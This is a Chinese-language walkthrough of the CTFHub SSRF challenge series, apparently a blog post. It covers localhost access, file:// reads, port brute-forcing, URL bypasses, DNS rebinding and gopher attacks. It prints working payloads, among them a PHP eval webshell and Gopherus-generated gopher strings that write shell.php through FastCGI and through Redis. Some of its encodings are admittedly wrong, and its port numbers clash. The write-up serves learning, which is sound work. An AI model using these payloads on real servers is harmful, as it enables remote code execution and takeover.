CTFHub技能树-Web-SSRF 解题方法

devtools/2025/3/13 19:16:30/

1、内网访问【左侧1】

在URL地址栏,输入:/?url=http://127.0.0.1/flag.php

注意:将默认页面的"?url="后的下划线“_"删掉。

127.0.0.1  和   localhost 都指的本机,均可访问。加上flag.php访问本机的php文件,得到目标Flag。

将Flag填写并提交,闯关结束。

2、伪协议读取文件 

读取Web目录下的flag文件:

首先 web目录是:/var/www/html/,本题Flag在该目录下的flag.php文件。

对于文件,使用file协议file://,URL输入:file:///var/www/html/flag.php 。

注意:三个/,例如:http://、file://           【协议的应用方法】

 浏览器中,页面右击查看页面源代码,即可看到Flag码

 提交Flag码,第二关结束。

3、端口扫描

3.1 BP抓包

对于端口8000-9000等单一变量的大量数据的变化,打开BurpSuite使用狙击手模式进行爆破。

首先打开BP的拦截,URL传值,输入:?url=127.0.0.1:8000,进行访问。

3.2 设置payload攻击   模式和字典

将拦截的GET请求数据包发送至Intruder功能模块,设置端口位置8080作为payload位置,采用狙击手模式对单个payload进行爆破攻击。

 对爆破设置爆破字典,本例payload采用 数值类型,从8000-9000,间隔为1,逐个进行爆破。并点击开始攻击。

3.3  对爆破结果根据长度进行排序

查看状态码200的结果,可看到目标端口为:8863 。 

 3.4  重新输入ip和端口  查看结果

输入:?url=127.0.0.1:8663

 3.5  提交Flag,闯关成功

4、URL Bypass【右侧1】

 URL必须包含 http://notfound.ctfhub.com

URL输入: http://notfound.ctfhub.com@127.0.0.1/flag.php

 5、数值IP Bypass

尝试127.0.0.1地址进行访问flag.php文件,发现127和172被禁用 

 可通过localhost替换127.0.0.1进行访问flag.php文件,即可看到Flag码。

 也可以将127.0.0.1转换为16进制:0x7f000001。注意:此处,“.”用0表示。

输入:?url=0x7f000001/flag.php

得到Flag码,提交即可

6、302跳转Bypass 

输入:?url=127.0.0.1/flag.php  发现IP字段被Ban。

 输入:?url=localhost/flag.php即可得出flag码

也可以使用:

?url=http://localhost/flage.php

提交Flag码

 7、DNS重绑定

点开题目附件,发现URL有两层

使用网站:rbndr.us dns rebinding service 对两个DNS进行拼接一个整体域名。

输入:?url=http://7f000001.7f000002.rbndr.us/flag.php

得出Flag

提交Flag

8、POST请求【中间1】

8.1  首先,访问本地ip的flag.php文件

输入:?url=http://127.0.0.1/flag.php

页面显示输入框,但无内容

8.2  右击页面,查看页面源代码

发现有注释的key值

key=87ad384658eb5321de6e61ec47566ecc

8.3 BurpSuite抓包,构造post请求数据包

打开BP拦截,挂代理,将key值复制粘贴至页面的输入框中,点击回车提交key值,进行抓包,将Http头部中Host的ip修改为127.0.0.1:80

gopher://127.0.0.1:80/  _POST  /flag.php  HTTP/1.1
Host: challenge-b8e8a5eb7300df63.sandbox.ctfhub.com:10800
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=87ad384658eb5321de6e61ec47566ecc

2025/3/11   补充 :经讲解,发现构造请求时,gopher协议后的POST请求与端口之间多了一个空格,原本的意思应为为该端口的POST方式,所以修改为:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1

8.4  通过CyberChef网站进行URL编码

网站:CTF在线工具-在线URL编码|URL解码

编码后:

gopher%3A//127.0.0.1%3A80/%20%C2%A0_POST%20%C2%A0/flag.php%20%C2%A0HTTP/1.1%0AHost%3A%20challenge-b8e8a5eb7300df63.sandbox.ctfhub.com%3A10800%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D87ad384658eb5321de6e61ec47566ecc

8.5  复制编码后的数据包至文本txt

将%0A全部替换为%0d%0A,代码最后添加%0d%0A

gopher%3A//127.0.0.1%3A80/%20_POST%20/flag.php%20HTTP/1.1%0d%0AHost%3A%20challenge-b8e8a5eb7300df63.sandbox.ctfhub.com%3A10800%0d%0AContent-Type%3A%20application/x-www-form-urlencoded%0d%0AContent-Length%3A%2036%0d%0A%0d%0Akey%3D87ad384658eb5321de6e61ec47566ecc%0d%0A

8.6  二次URL编码

二次编码结果:

gopher%253a%252f%252f127.0.0.1%253a80%252f%2b%252f_POST%2b%252fflag.php%2bHTTP%252f1.1%250d%250AHost%253a%2b127.0.0.1%253a80%250d%250AContent-Type%253a%2bapplication%252fx-www-form-urlencoded%250d%250AContent-Length%253a%2b42%250d%250A%250d%250Akey%253dkey%25253D8e7bc8cdc2ef6dd972ba9bce09ecb3e4%250d%250A

将gopher后和127.0.0.1后的冒号编码,还原为冒号(:),才有作用 

最终payload:

gopher://127.0.0.1:80/%2520_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost%253A%2520challenge-b8e8a5eb7300df63.sandbox.ctfhub.com%253A10800%250d%250AContent-Type%253A%2520application/x-www-form-urlencoded%250d%250AContent-Length%253A%252036%250d%250A%250d%250Akey%253D87ad384658eb5321de6e61ec47566ecc%250d%250A

8.7  gopher攻击访问

将修改后完整的代码输入URL,点击访问,即可看到Flag码   【我做不出来   望各位结果顺利】

8.8  提交Flag码,闯关成功【失败】

9、上传文件

9.1  首先,查看本地ip的flag.php文件

输入:?url=127.0.0.1/flag.php

出现上传文件页面,但无提交按钮

9.2   页面,手动创建提交按钮

F12--(Edge浏览器)元素,在浏览文件按钮后手动创建一个提交按钮:

选择file行,点击前面的三个点----编辑为HTML,

元素,输入:<input type="submit" name="submit">

9.3 BurpSuite抓包

写一个一句话木马文件1.php,作为上传的文件

将编写好的一句话木马文件上传,捕包 

修改HTTP头部的Host字段:127.0.0.1:80

即gopher://127.0.0.1:80/_POST    flag.php   HTTP/1.1

结果为:  【下面都出错了,注意是:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1】

gopher://127.0.0.1:80 POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 321
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXyfk6HxCj5FNB1uH
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']);?>
------WebKitFormBoundaryXyfk6HxCj5FNB1uH
Content-Disposition: form-data; name="submit"

鎻愪氦
------WebKitFormBoundaryXyfk6HxCj5FNB1uH--

9.4  请求数据包URL编码

在URL编码网站,将请求数据表URL编码。将编码结果复制在txt文件中,并把%0A替换为%0d%0A

gopher%3a127.0.0.1%3a80+POST+%2fflag.php+HTTP%2f1.1%0aHost%3a+127.0.0.1%3a80%0aContent-Length%3a+321%0aContent-Type%3a+multipart%2fform-data%3b+%0a%0a------WebKitFormBoundaryXyfk6HxCj5FNB1uH%0aContent-Disposition%3a+form-data%3b+name%3d%22file%22%3b+filename%3d%221.php%22%0aContent-Type%3a+application%2foctet-stream%0a%0a%3c%3fphp+%40eval(%24_POST%5b%27cmd%27%5d)%3b%3f%3e%0a------WebKitFormBoundaryXyfk6HxCj5FNB1uH%0aContent-Disposition%3a+form-data%3b+name%3d%22submit%22%0a%0a%e9%8e%bb%e6%84%aa%e6%b0%a6%0a------WebKitFormBoundaryXyfk6HxCj5FNB1uH--

//将一次编码后的%0A  全部替换为%0d%0A,代码最后添加一个%0d%0A 

9.5  二次URL编码

编码后冒号也被编码,则gopher后面和端口号前的冒号需要还原

gopher://127.0.0.1:80/

注意:这里结果是正常的,因为是借鉴的。上面将gopher行错误修改后,再进行两次编码,结果就是下面的正确编码。

二次编码结果:

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2
520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253
B%2520boundary%253D---------------------------5278488452262243057143646468
5%250D%250AContent-Length%253A%2520379%250D%250A%250D%250A-----------------
------------52784884522622430571436464685%250D%250AContent-Disposition%253
A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%252
21.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%25
0A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bcmd%255D%2529%25
3B%253F%253E%250D%250A-----------------------------527848845226224305714364
64685%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%25
22submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%2
5A5%25E8%25AF%25A2%250D%250A-----------------------------527848845226224305
71436464685--%250D%250A

9.6   gopher攻击访问,得出结果

9.7 提交Flag码即可

10、FastCGI协议

10.1  一句话木马经base编码写入shell.php文件中

一句话木马:

<?php @eval($_POST['cmd']);?>

base64编码后:
echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php

10.2  打开kali,使用gopherus生成攻击链接 

项⽬地址:

git clone https://github.com/tarunkant/Gopherus.git

执⾏命令:

python2 gopherus.py --exploit fastcgi

执行一句行木马,生成payload

生成的payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH119%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00w%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8%2B%22%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

10.3 将上一步得到的攻击链接,进行URL编码

url编码后:

gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH119%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500w%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8%252B%2522%2520%257C%2520base64%2520-d%2520%253E%2520shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

10.4  将编码后的payload作为参数值输入页面的URL处进行访问

10.5  访问shell.php文件

10.6   将访问后的链接,通过蚁剑连接,即得到shell

http://challenge-a4c7a63e531e67c6.sandbox.ctfhub.com:10800/shell.php

编码器base64

10.6 通过shell在目录中寻找flag

Flag:ctfhub{11394f17ed3f340d46a0658b}

10.7 提交Flag码

11、Redis协议

11.1  利用gopherus工具生成攻击载荷

kali,输入:python2 gopherus.py --exploit redis

使用PHPShell

/var/www/html/

写入一句话木马:<?php @eval($_POST['cmd']);?>

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

11.2   对攻击载荷URL编码,在闯关页面进行访问上传的⽂件shell.php

URL编码后:

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

在页面的URL后输入,编码后的攻击载荷

再访问上传的shell.php文件,出现下图结果

11.3  使用访问后的URL,在蚁剑进行连接 ,获得shell

将上一步访问shell.php文件的url复制,通过蚁剑进行连接

注意: 编码器为base64

11.4  通过目录找到flag文件,打开得到Flag码,并提交

返回其根目录,找到flag文件,打开得到目标FLAG码

flag码:ctfhub{f3bceed3f35dca3581e57040}


http://www.ppmy.cn/devtools/166836.html

相关文章

下载安装启动 VMware 个人免费版本

一、进入官网并登录账号下载软件 进入官网 [ https://www.vmware.com ]&#xff0c;点击Products&#xff0c;将页面划到最底下&#xff0c;点击 “SEE DESKTOP HYPERVISORS”按钮。 然后点击 Desktop hypevisor &#xff0c;会出现如下界面&#xff0c;可以根据自己的操作系…

opencv+ONNX模型的推理

如前文我们已经编译出带dnn模块的opencv&#xff0c;如果使用简易版的opencv虽然也可以加载onxx模型但是无法利用GPU进行并行计算&#xff0c;导致推理速度比较慢。所以既然都有这个RTX4060Ti的环境了&#xff0c;为什么不使用并行计算呢。 opencv加载的模型通常是ONXX模型&am…

kettle ETL 配置

pdi-ce-9.1.0.0-324 配置-CSDN博客 3、配置中文字符 3.1&#xff09; spoon支持中文字符&#xff0c; spoon.bat启动文件加 -Dfile.encodingutf-8 REM %SPOON_START_OPTION% "%_PENTAHO_JAVA%" %JAVA_ADD_OPENS% %OPT% -jar launcher\launcher.jar -lib ..\%LIBSPAT…

PyCharm 接入 DeepSeek、OpenAI、Gemini、Mistral等大模型完整版教程(通用)!

PyCharm 接入 DeepSeek、OpenAI、Gemini、Mistral等大模型完整版教程&#xff08;通用&#xff09;&#xff01; 当我们成功接入大模型时&#xff0c;可以选中任意代码区域进行解答&#xff0c;共分为三个区域&#xff0c;分别是选中区域、提问区域以及回答区域&#xff0c;我…

请说一下HashMap与HashTable的区别

HashMap 和 Hashtable 都是 Java 中实现 Map 接口的类&#xff0c;用于存储键值对&#xff08;Key-Value&#xff09;数据。它们在内部实现上都基于哈希表&#xff08;Hash Table&#xff09;&#xff0c;但在线程安全性、性能、设计和一些特性上存在显著区别。以下是它们的详细…

【Linux系统】进程优先级:进程间的权力游戏

Linux系列 文章目录 Linux系列前言一、优先级的概念二、查看、修改优先级2.1、查看优先级2.2、修改指令 三、Linux o(1)调度算法3.1、内核调度器算法的工作方式 前言 进程优先级调度是是指操作系统&#xff0c;根据进程的优先级来分配CPU资源的一种调度算法。系统会为每个进程…

【Node.js】--- win11安装 Node.js

在编程的艺术世界里&#xff0c;代码和灵感需要寻找到最佳的交融点&#xff0c;才能打造出令人为之惊叹的作品。而在这座秋知叶i博客的殿堂里&#xff0c;我们将共同追寻这种完美结合&#xff0c;为未来的世界留下属于我们的独特印记。 【Node.js】--- win11安装 Node.js 开发环…

html css网页制作成品——糖果屋网页设计(4页)附源码

目录 一、&#x1f468;‍&#x1f393;网站题目 二、✍️网站描述 三、&#x1f4da;网站介绍 四、&#x1f310;网站效果 五、&#x1fa93; 代码实现 &#x1f9f1;HTML 六、&#x1f947; 如何让学习不再盲目 七、&#x1f381;更多干货 一、&#x1f468;‍&#x1f…